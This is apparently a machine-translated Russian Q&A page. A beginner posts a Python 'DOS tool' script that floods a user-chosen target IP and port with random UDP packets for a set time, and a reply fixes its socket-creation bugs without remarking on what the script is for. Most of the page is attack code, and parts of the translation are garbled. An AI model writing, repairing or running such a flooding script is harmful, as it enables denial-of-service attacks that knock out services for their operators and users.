"sock.sendto (bytes, (ip, port)))" "AttributeError: у объекта 'str' нет атрибута 'sendto' ' - PullRequest
0 голосов
/ 22 февраля 2019

Я новичок в Python (я использую Python 3.7.2), и я столкнулся с этой проблемой:

sock.sendto (bytes, (ip, port)) *
AttributeError: 'str'У объекта нет атрибута sendto

Вот весь код:

import os
import sys
import time
import socket
import random

sock = "socket.socket(socket.AF_INET, socket.SOCK.DGRAM)"

bytes = random._urandom(1024)

os.system("clear") 

print("DOS tool here")
print("")
ip = input("Target IP: ")
port = input("Enter port: ")
dur = input("Time: ")
timeout = time.time() + int(dur)
sent = 0 

while True:
        try:
                if time.time() > timeout:
                          break
                else:
                        pass 
                sock.sendto(bytes, (ip, port))
                sent = sent + 1 
                print ("Sent %s packets to %s trough port %s")%(sent, ip, port)
        except KeyboardInterrupt:
                sys.exit()

1 Ответ

0 голосов
/ 23 февраля 2019

Отметьте в своем коде, как у вас есть

sock = "socket.socket(socket.AF_INET, socket.SOCK.DGRAM)"

Вы создали строку, а не сокет!Если вы удалите кавычки вокруг него

sock = socket.socket(socket.AF_INET, socket.SOCK.DGRAM)

Вы в конечном итоге создадите объект сокета.

Но мы еще не совсем там, потому что есть еще одна опечатка: socket didn 'у нас есть константа SOCK, вместо этого мы хотим использовать socket.SOCK_DGRAM (обратите внимание на подчеркивание, а не точку) в качестве нашего типа, например так:

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

У вас будет сокет с соответствующимsendto метод, который вы ожидаете!

...